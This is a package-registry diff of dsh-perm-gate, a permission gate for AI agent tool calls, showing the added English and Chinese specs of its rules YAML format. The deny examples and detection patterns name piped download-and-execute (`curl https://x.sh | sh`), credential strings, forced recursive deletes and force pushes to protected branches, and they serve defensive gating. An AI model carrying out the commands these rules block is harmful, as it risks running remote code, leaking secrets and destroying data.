dsh-perm-gate 2.1.2 → 2.6.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (67) hide show
  1. package/CHANGELOG.ja.md +108 -0
  2. package/CHANGELOG.ko.md +104 -0
  3. package/CHANGELOG.md +236 -0
  4. package/INSTALL.ja.md +41 -21
  5. package/INSTALL.ko.md +37 -19
  6. package/INSTALL.md +46 -23
  7. package/INSTALL.zh.md +33 -17
  8. package/README.ja.md +52 -12
  9. package/README.ko.md +53 -13
  10. package/README.md +68 -10
  11. package/README.zh.md +41 -10
  12. package/assets/allow1.png +0 -0
  13. package/assets/allow2.png +0 -0
  14. package/assets/gateoff.png +0 -0
  15. package/assets/llms.png +0 -0
  16. package/assets/permlist.png +0 -0
  17. package/assets/setting-head.png +0 -0
  18. package/assets/setting-rules.png +0 -0
  19. package/cordis.patch.yml +11 -8
  20. package/docs/baseline-guard.md +56 -0
  21. package/docs/plan-rules-to-settings.md +217 -0
  22. package/docs/rules-format.en.md +294 -0
  23. package/docs/rules-format.md +279 -0
  24. package/docs/ui-gap-analysis-and-branch-permissions.md +338 -0
  25. package/dsh.plugin.json +2 -2
  26. package/examples/permissions.example.yaml +16 -1
  27. package/lib/allowlist.d.ts +27 -0
  28. package/lib/allowlist.js +103 -1
  29. package/lib/cli.js +11 -14
  30. package/lib/client.js +484 -6
  31. package/lib/client.js.map +1 -1
  32. package/lib/command-dispatcher.d.ts +22 -0
  33. package/lib/command-dispatcher.js +97 -0
  34. package/lib/command-semantics.d.ts +62 -0
  35. package/lib/command-semantics.js +6 -0
  36. package/lib/compiler.d.ts +11 -0
  37. package/lib/compiler.js +16 -0
  38. package/lib/config.d.ts +73 -12
  39. package/lib/config.js +56 -14
  40. package/lib/dry-run.d.ts +87 -0
  41. package/lib/dry-run.js +110 -0
  42. package/lib/engine.js +52 -2
  43. package/lib/evaluate.js +76 -2
  44. package/lib/events.d.ts +56 -2
  45. package/lib/events.js +92 -0
  46. package/lib/index.js +106 -26
  47. package/lib/parsers/git.d.ts +43 -0
  48. package/lib/parsers/git.js +404 -0
  49. package/lib/parsers/shell-cmds.d.ts +32 -0
  50. package/lib/parsers/shell-cmds.js +293 -0
  51. package/lib/preset.d.ts +13 -0
  52. package/lib/preset.js +17 -0
  53. package/lib/risk.d.ts +17 -3
  54. package/lib/risk.js +17 -3
  55. package/lib/rule-chain.js +13 -22
  56. package/lib/rule-dims.d.ts +35 -0
  57. package/lib/rule-dims.js +36 -0
  58. package/lib/rule.d.ts +36 -1
  59. package/lib/rule.js +56 -8
  60. package/lib/rules-view.d.ts +52 -0
  61. package/lib/rules-view.js +126 -0
  62. package/lib/runtime.d.ts +121 -7
  63. package/lib/runtime.js +204 -25
  64. package/lib/shell.d.ts +14 -0
  65. package/lib/shell.js +17 -0
  66. package/package.json +19 -2
  67. package/scripts/patch-permission-glyph.mjs +225 -42
@@ -0,0 +1,294 @@
1
+ # Rules File Format (`permissions` YAML)
2
+
3
+ > **Authority**: the dimension list below is byte-for-byte identical to `VALID_KEYS` in
4
+ > `src/rule.ts:181`. A change to either must be mirrored; `test/rule.spec.ts` and
5
+ > `test/rule-dims.spec.ts` are the runtime guards.
6
+ > Applies to `dsh-perm-gate` **2.4.1** (DSH ≥ 0.1.2-alpha.1).
7
+
8
+ ---
9
+
10
+ ## 1. Location and loading
11
+
12
+ | Item | Description |
13
+ |---|---|
14
+ | Default path | `<dataDir>/rules.yml` (`dataDir` resolved by `config.resolveDataDir`, default `$DSH_HOME/perm-gate/`) |
15
+ | Explicit | `config.rulesFile` |
16
+ | Rule chain | Multi-file chains supported (`rulesChain` / `searchUp` / `fallbackPath` / `badFilePolicy` / `maxRules`) — see `src/rule-chain.ts` |
17
+ | Hot reload | `src/watch.ts` (chokidar) watches the effective files and recompiles the whole chain after a debounce |
18
+ | Parse failure | **fail loud** — invalid rules raise, they never silently stand the gate down |
19
+
20
+ ---
21
+
22
+ ## 2. Top level
23
+
24
+ ```yaml
25
+ defaultAction: ask # optional; used when nothing matches. Default: ask
26
+ deny: # action partitions (arrays)
27
+ - <rule entry>
28
+ allow:
29
+ - <rule entry>
30
+ ask:
31
+ - <rule entry>
32
+ ```
33
+
34
+ **The action IS the partition**: entries carry no `action` field (if present it must agree with its
35
+ partition). Evaluation order is fixed: **deny → allow → ask → defaultAction**, first match wins
36
+ (deny wins over allow). The keyword blacklist runs ahead of `deny`.
37
+
38
+ `defaultAction` accepts `allow` | `ask` | `deny` (default `ask`).
39
+
40
+ ---
41
+
42
+ ## 3. Entry fields (`VALID_KEYS`)
43
+
44
+ ```
45
+ tools · command · args · paths · params · absent · agents · when · argv · network · branch
46
+ action · reason · enabled
47
+ ```
48
+
49
+ | Field | Type | Purpose |
50
+ |---|---|---|
51
+ | `tools` | string / string[] | Tool-name glob |
52
+ | `command` | string / string[] | Command word, with `word#recursive` / `word#force` suffixes |
53
+ | `args` | string / string[] | Argument token scan |
54
+ | `paths` | string / string[] | Workspace-relative path glob |
55
+ | `params` | mapping | Parameter key → value glob list |
56
+ | `absent` | string / string[] | Parameter keys that must NOT be present |
57
+ | `agents` | string / string[] | `main` / `subagent` / `preset:<name>` |
58
+ | `when` | mapping | Environment and platform conditions |
59
+ | `argv` | mapping | Extra argv patterns (`pipeline`) |
60
+ | `network` | mapping | Domain / IP / port / scheme |
61
+ | `branch` | mapping | Git branch / remote / protected branch (git commands only) |
62
+ | `action` | `allow`\|`ask`\|`deny` | Optional; must agree with its partition |
63
+ | `reason` | string | Human-readable rationale (lands in events and the UI) |
64
+ | `enabled` | boolean | `false` skips the entry |
65
+
66
+ **Across dimensions = AND**: every dimension present in one entry must be satisfied.
67
+ **Within a dimension = OR**: any single pattern in the list suffices (`params` / `when` /
68
+ `network` use AND across their sub-keys — see below).
69
+
70
+ ---
71
+
72
+ ## 4. Dimension semantics
73
+
74
+ ### 4.1 `tools` — tool name
75
+ ```yaml
76
+ - tools: [shell, pwsh, bash]
77
+ ```
78
+ Glob match. OR within the list.
79
+
80
+ ### 4.2 `command` — command word
81
+ ```yaml
82
+ - command: [rm#recursive, rm#force]
83
+ ```
84
+ Words come from argv decomposition (`src/shell.ts`). The `#recursive` / `#force` suffixes
85
+ require the corresponding semantics. OR within the list.
86
+
87
+ ### 4.3 `args` — argument tokens
88
+ ```yaml
89
+ - args: ["--force", "-rf"]
90
+ ```
91
+ Scans the decomposed token set. **⚠ Semantics are OR**: any single token matching any single
92
+ pattern matches. It can **not** require "`push` and `--force` together", and it can not tell
93
+ `git push --force origin main` from `git checkout --force main` — use `params` (or the future
94
+ `branch` dimension) when you need that discrimination.
95
+
96
+ ### 4.4 `paths` — paths
97
+ ```yaml
98
+ - paths: ["src/**", "!src/vendor/**"]
99
+ ```
100
+ Workspace-relative globs; `!` negates. OR within the list.
101
+
102
+ ### 4.5 `params` — key-targeted matching (**AND over keys**)
103
+ ```yaml
104
+ - params:
105
+ command: ["*--force*", "!*--dry-run*"]
106
+ flags.mode: ["production"]
107
+ ```
108
+ - Each key's **actual value** must match **at least one** pattern of that key (OR within the list)
109
+ - **Every listed key must be satisfied** (AND across keys)
110
+ - A single `!`-prefixed pattern negates (the value must NOT match the remainder)
111
+ - An empty pattern list only requires the key to exist (any value)
112
+
113
+ This is the main tool for compound conditions — the AND cases `args` can not express.
114
+
115
+ ### 4.6 `absent` — keys must be missing (AND)
116
+ ```yaml
117
+ - absent: [dry_run, force]
118
+ ```
119
+ Every listed parameter key must be absent.
120
+
121
+ ### 4.7 `agents` — agent identity
122
+ ```yaml
123
+ - agents: ["main", "preset:reviewer"]
124
+ ```
125
+ Valid values: `main`, `subagent`, `preset:<name>` (case-insensitive); anything else fails at parse
126
+ time. Candidates come from session headers via `src/agent-identity.ts`. OR within the list.
127
+
128
+ ### 4.8 `when` — environment and platform (AND)
129
+ ```yaml
130
+ - when:
131
+ env:
132
+ NODE_ENV: ["production"]
133
+ CI: ["true", "1"]
134
+ platform: [linux, win32]
135
+ ```
136
+ - `env`: key → allowed values (**OR within a list**, **AND across keys**)
137
+ - `platform`: Node.js `process.platform` values
138
+ - `nodeVersion`: reserved, not yet evaluated
139
+
140
+ ### 4.9 `argv` — extra argv patterns
141
+ ```yaml
142
+ - argv:
143
+ pipeline: ["curl*|sh", "wget*|bash"]
144
+ ```
145
+ `pipeline` matches the **whole pipeline string**: each simple command's **full argv**
146
+ (command word + args + redirect targets) joined by `|`, so `curl https://x.sh | sh`
147
+ yields `curl https://x.sh|sh`.
148
+
149
+ **⚠ The `|` in a pattern is a literal**, so `curl|sh` only matches the argument-less
150
+ adjacent form; covering the common form with arguments requires `curl*|sh`.
151
+ (Historical defect: the match string was built from the command word alone, so
152
+ `curl|sh` matched the harmless `curl|sh` while the genuinely dangerous
153
+ `curl https://x.sh | sh` did not match at all.)
154
+
155
+ ### 4.10 `network` — network targets (AND across sub-dimensions)
156
+ ```yaml
157
+ - network:
158
+ domains: ["*.internal.corp", "github.com"]
159
+ ips: ["10.0.0.0/8", "192.168.1.1"]
160
+ ports: ["443", "8000-9000"]
161
+ schemes: [https, http]
162
+ ```
163
+ - Every **present** sub-dimension must match (AND); inside a sub-dimension, OR
164
+ - `domains` supports globs; `ips` supports CIDR; `ports` supports ranges; `schemes` are protocol names
165
+
166
+ The network dimension acts on two seams: the static URL-candidate check in `tools/pre-execute`,
167
+ and the loopback proxy that intercepts real egress traffic (`network.enabled` is **false by
168
+ default** — opt-in).
169
+
170
+ ### 4.11 `branch` — git branch / remote / protected branch (AND across sub-dimensions)
171
+
172
+ ```yaml
173
+ - command: [git]
174
+ args: [push]
175
+ branch:
176
+ target: [main, master, "release*"]
177
+ remote: [origin]
178
+ shared: true
179
+ ```
180
+
181
+ | Sub-field | Semantics |
182
+ |---|---|
183
+ | `target` | Branch-name glob (`*` **crosses** `/`, so `release*` matches `release/1.0`) |
184
+ | `remote` | Remote-name glob |
185
+ | `shared` | Require the target branch to be a **protected** branch |
186
+
187
+ **Why this dimension exists**: `args` is OR-over-tokens (§4.3). It can ask "does `--force`
188
+ appear?" but never "does `--force` appear **on a push to a protected branch**?". The decisive
189
+ case is telling two commands with identical tokens apart:
190
+
191
+ - `git push --force origin main` → dangerous, must match
192
+ - `git checkout --force main` → routine, must **not** match
193
+
194
+ Candidates come from the shared command classifier (`src/command-dispatcher.ts` +
195
+ `src/parsers/git.ts`), so `refspec` forms (`HEAD:main`) are already split, a remote name is
196
+ never mistaken for a branch name, and flags are normalized.
197
+
198
+ **Three boundaries worth knowing**:
199
+
200
+ 1. **Git commands only.** A non-git command (`rm -rf`, `npm install`, …) satisfies no `branch`
201
+ sub-dimension, so a rule that names a branch simply does not match it (and never throws) —
202
+ those commands are covered by the write-path layer and the blacklist.
203
+ 2. **`shared` is static.** It comes from the parser's protected-branch list
204
+ (`PROTECTED_BRANCHES` in `src/parsers/git.ts`: `main` / `master` / `production` / `release` /
205
+ `stable`). It does **not** run `git branch -r --contains` — that would put a subprocess on the
206
+ decision path. Note `shared` and `target` are independent sub-dimensions: with
207
+ `target: ["release*"]`, `release/1.0` satisfies `target` but not `shared` (the protected list
208
+ matches exactly).
209
+ 3. **AND across sub-dimensions, OR within each**; any one of several simple commands
210
+ (pipeline / `&&`) may satisfy it.
211
+
212
+ ---
213
+
214
+ ## 5. Complete example
215
+
216
+ ```yaml
217
+ defaultAction: ask
218
+
219
+ deny:
220
+ # Credential material in a command (P0 hard-deny also backs this up)
221
+ - tools: [shell, pwsh]
222
+ params:
223
+ command: ["*AWS_SECRET*", "*PRIVATE KEY*"]
224
+ reason: "credential material in command"
225
+
226
+ # Download-and-execute via a pipe
227
+ - argv:
228
+ pipeline: ["curl*|sh", "wget*|bash"]
229
+ reason: "piped download-and-execute"
230
+
231
+ # Push to a protected branch (the distinction `args` can not make:
232
+ # the same tokens on a checkout do not match)
233
+ - command: [git]
234
+ args: [push]
235
+ branch:
236
+ target: [main, master, "release*"]
237
+ shared: true
238
+ reason: "push to a protected branch"
239
+
240
+ # Forced recursive delete in production
241
+ - command: [rm#recursive, rm#force]
242
+ when:
243
+ env:
244
+ NODE_ENV: ["production"]
245
+ reason: "recursive force delete in production"
246
+
247
+ allow:
248
+ # Common read-only queries
249
+ - tools: [read, grep, glob]
250
+ reason: "read-only workspace queries"
251
+
252
+ # Common dev hosts
253
+ - network:
254
+ domains: [github.com, "*.githubusercontent.com"]
255
+ schemes: [https]
256
+ reason: "common dev hosts"
257
+
258
+ ask:
259
+ # Push needs confirmation (note: args is OR, so this only requires `push` to appear)
260
+ - command: [git]
261
+ args: ["push"]
262
+ reason: "git push requires confirmation"
263
+ ```
264
+
265
+ The same sample ships with the package: `examples/permissions.example.yaml`.
266
+
267
+ ---
268
+
269
+ ## 6. Pairing with the CLI dry-run
270
+
271
+ Dry-run before you go live:
272
+
273
+ ```powershell
274
+ # List the compiled rules (default action, rule count, permissive-strategy snapshot)
275
+ dsh-perm-gate --rules permissions.yaml --list
276
+
277
+ # Evaluate one call (--args is JSON; short values can be inlined)
278
+ dsh-perm-gate --rules permissions.yaml --tool read --args "{\"file_path\":\"src/index.ts\"}"
279
+ ```
280
+
281
+ The output is JSON: `decision` (`allow` / `ask` / `deny`), `reason`, `audited`.
282
+
283
+ **Two gotchas worth knowing**:
284
+
285
+ 1. **The blacklist fires before your rules.** The `deny-keyword` layer runs ahead of the `deny:`
286
+ partition, so preset words like `rm -rf` or `push --force` are vetoed before your rules are
287
+ consulted — a `deny-keyword:` prefix in the dry-run output means that layer decided, not your rule.
288
+ 2. **Long quoted arguments get re-parsed by PowerShell** (you may see
289
+ `--args must be valid JSON`). Safe options: write the JSON to a file and pass
290
+ `--args (Get-Content -Raw args.json)`, or lean on the dimension coverage in
291
+ `test/rule-dims.spec.ts` and `test/evaluate.spec.ts`.
292
+
293
+ The CLI and the runtime share one decision engine (`evaluate.ts` + `engine.ts`), so its output is
294
+ the real verdict.
@@ -0,0 +1,279 @@
1
+ # 规则文件格式规范(`permissions` YAML)
2
+
3
+ > **权威性**:本文件的维度清单与 `src/rule.ts:181` 的 `VALID_KEYS` **逐字一致**。
4
+ > 两者任一变更必须同步;`test/rule.spec.ts` 与 `test/rule-dims.spec.ts` 是运行时护栏。
5
+ > 适用版本:`dsh-perm-gate` **2.4.1**(DSH ≥ 0.1.2-alpha.1)。
6
+
7
+ ---
8
+
9
+ ## 1. 文件位置与加载
10
+
11
+ | 项 | 说明 |
12
+ |---|---|
13
+ | 默认路径 | `<dataDir>/rules.yml`(`dataDir` 由 `config.resolveDataDir` 解析,默认 `$DSH_HOME/perm-gate/`) |
14
+ | 显式指定 | `config.rulesFile` |
15
+ | 规则链 | 支持多文件链(`rulesChain` / `searchUp` / `fallbackPath` / `badFilePolicy` / `maxRules`),见 `src/rule-chain.ts` |
16
+ | 热重载 | 由 `src/watch.ts`(chokidar)监听生效规则文件,防抖后链级重编译 |
17
+ | 解析失败 | **fail loud**——规则非法直接报错,绝不静默停用门控 |
18
+
19
+ ---
20
+
21
+ ## 2. 顶层结构
22
+
23
+ ```yaml
24
+ defaultAction: ask # 可选;无任何规则命中时的动作。缺省 = ask
25
+ deny: # 动作分区(数组)
26
+ - <规则条目>
27
+ allow:
28
+ - <规则条目>
29
+ ask:
30
+ - <规则条目>
31
+ ```
32
+
33
+ **动作即分区**:条目本身不带 action 字段(写了必须与所在分区一致)。求值顺序固定为
34
+ **deny → allow → ask → defaultAction**,首次匹配胜出(deny wins over allow)。
35
+ 黑名单关键词层排在 deny 之前。
36
+
37
+ `defaultAction` 取值:`allow` | `ask` | `deny`(缺省 `ask`)。
38
+
39
+ ---
40
+
41
+ ## 3. 规则条目可用字段(`VALID_KEYS`)
42
+
43
+ ```
44
+ tools · command · args · paths · params · absent · agents · when · argv · network · branch
45
+ action · reason · enabled
46
+ ```
47
+
48
+ | 字段 | 类型 | 作用 |
49
+ |---|---|---|
50
+ | `tools` | 字符串 / 字符串数组 | 工具名 glob |
51
+ | `command` | 字符串 / 字符串数组 | 命令词,支持 `word#recursive` / `word#force` 后缀 |
52
+ | `args` | 字符串 / 字符串数组 | 参数 token 扫描 |
53
+ | `paths` | 字符串 / 字符串数组 | 工作区相对路径 glob |
54
+ | `params` | 映射 | 参数键 → 值 glob 列表 |
55
+ | `absent` | 字符串 / 字符串数组 | 必须**不存在**的参数键 |
56
+ | `agents` | 字符串 / 字符串数组 | `main` / `subagent` / `preset:<name>` |
57
+ | `when` | 映射 | 环境与平台条件 |
58
+ | `argv` | 映射 | 额外 argv 模式(`pipeline`) |
59
+ | `network` | 映射 | 域名 / IP / 端口 / scheme |
60
+ | `branch` | 映射 | git 分支 / 远程 / 保护分支(仅对 git 命令生效) |
61
+ | `action` | `allow`\|`ask`\|`deny` | 可选;写了必须与所在分区一致 |
62
+ | `reason` | 字符串 | 人类可读理由(进入事件与 UI) |
63
+ | `enabled` | 布尔 | 设 `false` 则跳过该条目 |
64
+
65
+ **跨维度逻辑 = AND**:一条规则内出现的**多个维度必须全部满足**;
66
+ **维度内 = OR**:某个维度的列表里任一模式命中即可(`params`/`when`/`network` 的子键为 AND,见各节)。
67
+
68
+ ---
69
+
70
+ ## 4. 逐维语义
71
+
72
+ ### 4.1 `tools` — 工具名
73
+ ```yaml
74
+ - tools: [shell, pwsh, bash]
75
+ ```
76
+ Glob 匹配工具名。列表内 OR。
77
+
78
+ ### 4.2 `command` — 命令词
79
+ ```yaml
80
+ - command: [rm#recursive, rm#force]
81
+ ```
82
+ 命令词来自 argv 分解(`src/shell.ts`)。后缀 `#recursive` / `#force` 分别要求递归 / 强制语义。
83
+ 列表内 OR。
84
+
85
+ ### 4.3 `args` — 参数 token
86
+ ```yaml
87
+ - args: ["--force", "-rf"]
88
+ ```
89
+ 对分解后的 token 集合做扫描。**⚠ 语义为 OR**:任意一个 token 匹配任意一个模式即命中。
90
+ 它**无法**要求「`push` 与 `--force` 同时存在」,也无法区分
91
+ `git push --force origin main` 与 `git checkout --force main`——需要这种区分时用 `params` 或(未来的)`branch` 维度。
92
+
93
+ ### 4.4 `paths` — 路径
94
+ ```yaml
95
+ - paths: ["src/**", "!src/vendor/**"]
96
+ ```
97
+ 工作区相对路径 glob;`!` 前缀取反。列表内 OR。
98
+
99
+ ### 4.5 `params` — 键定向匹配(**AND over keys**)
100
+ ```yaml
101
+ - params:
102
+ command: ["*--force*", "!*--dry-run*"]
103
+ flags.mode: ["production"]
104
+ ```
105
+ - 每个键的**实际值**必须匹配该键模式列表中的**至少一个**(列表内 OR)
106
+ - **所有列出的键都必须满足**(键之间 AND)
107
+ - 单个 `!` 前缀模式 = 取反(值必须**不**匹配其余部分)
108
+ - 空模式列表 = 该键只需存在(任意值)
109
+
110
+ 这是表达复合条件的主要手段(`args` 做不到的 AND 需求在这里做)。
111
+
112
+ ### 4.6 `absent` — 键必须缺失(AND)
113
+ ```yaml
114
+ - absent: [dry_run, force]
115
+ ```
116
+ 所列参数键必须**全部不存在**。
117
+
118
+ ### 4.7 `agents` — 代理身份
119
+ ```yaml
120
+ - agents: ["main", "preset:reviewer"]
121
+ ```
122
+ 合法取值:`main`、`subagent`、`preset:<name>`(大小写不敏感)。非法值解析期报错。
123
+ 候选集由 `src/agent-identity.ts` 从会话 header 提取。列表内 OR。
124
+
125
+ ### 4.8 `when` — 环境与平台(AND)
126
+ ```yaml
127
+ - when:
128
+ env:
129
+ NODE_ENV: ["production"]
130
+ CI: ["true", "1"]
131
+ platform: [linux, win32]
132
+ ```
133
+ - `env`:键 → 允许值列表(**列表内 OR**,**键之间 AND**)
134
+ - `platform`:Node.js `process.platform` 取值
135
+ - `nodeVersion`:保留字段(尚未参与判定)
136
+
137
+ ### 4.9 `argv` — 额外 argv 模式
138
+ ```yaml
139
+ - argv:
140
+ pipeline: ["curl*|sh", "wget*|bash"]
141
+ ```
142
+ `pipeline` 匹配**整条管道字符串**:各简单命令的**完整 argv**(命令词 + 参数 + 重定向目标)以 `|` 连接,
143
+ 例如 `curl https://x.sh | sh` 的匹配串是 `curl https://x.sh|sh`。
144
+
145
+ **⚠ 模式里的 `|` 是字面量**,所以 `curl|sh` 只匹配参数恰好为空的紧邻形式;要覆盖带参数的常见写法必须写
146
+ `curl*|sh`。(历史缺陷:匹配串曾只取命令词,`curl|sh` 因此对上的是无害的 `curl|sh`,而真正危险的
147
+ `curl https://x.sh | sh` 反而匹配不到。)
148
+
149
+ ### 4.10 `network` — 网络目标(子维度 AND)
150
+ ```yaml
151
+ - network:
152
+ domains: ["*.internal.corp", "github.com"]
153
+ ips: ["10.0.0.0/8", "192.168.1.1"]
154
+ ports: ["443", "8000-9000"]
155
+ schemes: [https, http]
156
+ ```
157
+ - 出现的**每个子维度都必须匹配**(子维度之间 AND);每个子维度内部 OR
158
+ - `domains` 支持 glob;`ips` 支持 CIDR;`ports` 支持区间;`schemes` 为协议名
159
+
160
+ 网络维度有两个生效面:`tools/pre-execute` 的静态 URL 候选检查,以及回环代理拦截真实出站流量
161
+ (`network.enabled` **默认 false**,opt-in)。
162
+
163
+ ### 4.11 `branch` — git 分支 / 远程 / 保护分支(子维度 AND)
164
+
165
+ ```yaml
166
+ - command: [git]
167
+ args: [push]
168
+ branch:
169
+ target: [main, master, "release*"]
170
+ remote: [origin]
171
+ shared: true
172
+ ```
173
+
174
+ | 子字段 | 语义 |
175
+ |---|---|
176
+ | `target` | 分支名 glob(`*` **跨** `/`,所以 `release*` 能匹配 `release/1.0`) |
177
+ | `remote` | 远程名 glob |
178
+ | `shared` | 要求目标分支是**保护分支** |
179
+
180
+ **为什么需要这个维度**:`args` 是 OR 语义(§4.3),它能问「`--force` 出现了吗」,但永远问不出
181
+ 「`--force` 是否用在**推送到保护分支**上」。决定性用例是区分两条 token 完全相同的命令:
182
+
183
+ - `git push --force origin main` → 危险,应命中
184
+ - `git checkout --force main` → 日常操作,**不**应命中
185
+
186
+ 候选来自统一的命令分类器(`src/command-dispatcher.ts` + `src/parsers/git.ts`),因此
187
+ refspec 形式(`HEAD:main`)已被拆解、远程名不会被误当成分支名、标志位也已归一。
188
+
189
+ **三条必须知道的边界**:
190
+
191
+ 1. **只对 git 命令生效**。非 git 命令(`rm -rf`、`npm install`…)不满足任何 `branch` 子维度,
192
+ 因此带 `branch` 的规则对它们**不匹配**(不会抛错)——这类命令由写路径层与黑名单层负责。
193
+ 2. **`shared` 是静态判定**,来自解析器的保护分支清单
194
+ (`src/parsers/git.ts` 的 `PROTECTED_BRANCHES`:`main` / `master` / `production` / `release` / `stable`)。
195
+ 它**不会**执行 `git branch -r --contains` 之类查询——那会把子进程放上门控决策路径。
196
+ 注意 `shared` 与 `target` 是**并列且各自独立**的子维度:写了 `target: ["release*"]` 时
197
+ `release/1.0` 满足 `target`,但不满足 `shared`(保护清单是精确匹配)。
198
+ 3. **子维度之间 AND,各自内部 OR**;多个简单命令(管道/`&&`)任一满足即可。
199
+
200
+ ---
201
+
202
+ ## 5. 完整示例
203
+
204
+ ```yaml
205
+ defaultAction: ask
206
+
207
+ deny:
208
+ # 凭据材料外泄(P0 层另有硬拒绝兜底)
209
+ - tools: [shell, pwsh]
210
+ params:
211
+ command: ["*AWS_SECRET*", "*PRIVATE KEY*"]
212
+ reason: "credential material in command"
213
+
214
+ # 管道下载即执行
215
+ - argv:
216
+ pipeline: ["curl*|sh", "wget*|bash"]
217
+ reason: "piped download-and-execute"
218
+
219
+ # 推送到保护分支(args 做不到的区分:同一批 token 的 checkout 不命中)
220
+ - command: [git]
221
+ args: [push]
222
+ branch:
223
+ target: [main, master, "release*"]
224
+ shared: true
225
+ reason: "push to a protected branch"
226
+
227
+ # 生产环境下的强制删除
228
+ - command: [rm#recursive, rm#force]
229
+ when:
230
+ env:
231
+ NODE_ENV: ["production"]
232
+ reason: "recursive force delete in production"
233
+
234
+ allow:
235
+ # 常见只读查询
236
+ - tools: [read, grep, glob]
237
+ reason: "read-only workspace queries"
238
+
239
+ # 常见开发域名
240
+ - network:
241
+ domains: [github.com, "*.githubusercontent.com"]
242
+ schemes: [https]
243
+ reason: "common dev hosts"
244
+
245
+ ask:
246
+ # 推送需确认(注意:args 是 OR,这里只要求出现 push)
247
+ - command: [git]
248
+ args: ["push"]
249
+ reason: "git push requires confirmation"
250
+ ```
251
+
252
+ 同一份示例也随包分发:`examples/permissions.example.yaml`。
253
+
254
+ ---
255
+
256
+ ## 6. 与 CLI dry-run 配合
257
+
258
+ 改完规则**先干跑再上线**:
259
+
260
+ ```powershell
261
+ # 列出已编译规则(默认 ask 分区、规则条数、permissive 策略快照)
262
+ dsh-perm-gate --rules permissions.yaml --list
263
+
264
+ # 判定一次调用(--args 是 JSON;参数较短时直接内联)
265
+ dsh-perm-gate --rules permissions.yaml --tool read --args "{\"file_path\":\"src/index.ts\"}"
266
+ ```
267
+
268
+ 输出为 JSON:`decision`(`allow` / `ask` / `deny`)、`reason`、`audited`。
269
+
270
+ **两个必须知道的坑**:
271
+
272
+ 1. **黑名单先于规则命中**。`deny-keyword` 层跑在 `deny:` 分区之前,
273
+ `rm -rf` / `push --force` 这类预设词会在你的规则之前就把调用拦下——
274
+ dry-run 输出里的 `deny-keyword:` 前缀就是它在起作用,不是你的规则。
275
+ 2. **带引号的长参数在 PowerShell 下会被二次解析**(可能报 `--args must be valid JSON`)。
276
+ 稳妥做法:写进临时文件后用 `--args (Get-Content -Raw args.json)`,
277
+ 或直接依赖 `test/rule-dims.spec.ts` 与 `test/evaluate.spec.ts` 的维度覆盖。
278
+
279
+ CLI 与运行时共用同一判定引擎(`evaluate.ts` + `engine.ts`),输出即真实裁决。